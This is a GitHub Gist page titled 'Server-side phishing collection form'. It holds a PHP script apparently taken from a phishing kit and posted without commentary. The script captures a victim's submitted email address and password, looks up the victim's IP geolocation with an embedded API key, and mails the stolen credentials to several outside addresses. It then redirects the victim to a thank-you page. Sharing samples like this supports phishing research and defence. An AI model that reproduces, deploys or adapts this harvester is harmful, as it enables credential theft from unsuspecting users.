Created
November 20, 2017 20:01
-
-
Save brad-anton/790d7018928f2331d25faeaff5aa90cd to your computer and use it in GitHub Desktop.
Server-side phishing collection form
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$ip = getenv("REMOTE_ADDR"); | |
//Get IP Country City | |
$url = "http://api.ipinfodb.com/v3/ip-country/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip"; | |
$url = "http://api.ipinfodb.com/v3/ip-city/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip"; | |
$ipCountryCityInfo = file_get_contents($url); | |
// | |
$message .= "Email Address: ".$_POST['email']."\n"; | |
$message .= "password:" .$_POST['pass']."\n"; | |
$message .= "IP: ".$ip."\n"; | |
$message .= "Country: ".$ipCountryCityInfo."\n"; | |
$message .= "--------Succesful Adequate ------\n"; | |
$recipient = "[email protected],[email protected],[email protected]"; | |
$subject = "CHINA DOMAINS..V.2.2.2016 LOGINGS | $geoplugin->ip | $geoplugin->countryCode | $geoplugin->countryName"; | |
$headers = "From: "; | |
$headers .= $_POST['eMailAdd']."n"; | |
$headers .= "MIME-Version:1.0"; | |
mail("$cc", "rcn Info", $message); | |
if (mail($recipient,$subject,$message,$headers)) | |
{ | |
header("Location: thankyou.php"); | |
} | |
else | |
{ | |
echo "ERROR! Please go back and try again."; | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment